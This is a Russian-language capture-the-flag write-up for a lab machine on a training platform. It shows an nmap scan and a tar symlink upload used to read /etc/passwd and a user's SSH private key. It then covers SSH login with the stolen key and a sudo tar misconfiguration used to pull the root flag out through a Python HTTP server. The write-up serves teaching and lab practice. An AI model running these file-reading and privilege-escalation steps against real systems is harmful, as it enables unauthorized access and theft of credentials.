Название: Письмо
Категория: Pentest Machines
Уровень: лёгкий
Ссылка на задание: https://hackerlab.pro/en/categories/pentest-machines/39f00204-43ec-4f97-81c6-e59f39721c0d
Баллы: 300
Reconnaissance
Первый делом, когда мы получили IP адресс цели, мы сканируем порты на наличие запущенных служб. Используем nmap с такими ключами:nmap -v -A -sC -sV {IP}и получаем соответсвующий вывод, на сервере активно 2 службы - SSH (22) и Веб-сервер (8000).
Exploitation
На сайте некий проект Wallhack, который умеет читать архивы и выводит их содержимое.Достаточно много вариаций для атаки, однако там атака Tar bad symlink (CWE-61). Создаём в директории ссылку на файл /etc/passwd:
ln -s /etc/passwd exploitи теперь создаём архив:
tar -cvf exploit.tar exploitЗагружаем архив на сервер и получаем /etc/passwd от сервера, там же и находим пользователя terminal.
Далее пробуем получить его приватный ключ для доступа по SSH:
ln -s /home/terminal/.ssh/id_rsaНам выводится ключ, супер!
Копируем его и сохраняем к себе на рабочий стол с любым именем.
Теперь даём ему ограниченные права, чтобы SSH не ругался.
chmod 600 keyforterminalИ теперь подключаемся по SSH:
ssh -i keyforterminal terminal@{IP}Готово, мы в системе!
Tar Slip
Нам важно понять, какие права у нас есть для пользователя terminal, пишем в терминал:sudo -lВывод следующий:
tar NOPASSWDСразу же в голову приходит решение, давайте его реализуем, пишем такую команду:
sudo tar -cvf flag.tar /root/flag.txtАрхив создался, а внутри наш флаг, теперь его нужно как-то открыть... Давайте узнаем есть ли здесь python?
python --versionХорошие новости, Python есть в системе, создаём сервер:
python -m http.server 8080и теперь через веб-панель скачиваем наш архив:
http://{IP}:8080/flag.tarРаспаковываем и забираем флаг!
Последнее редактирование: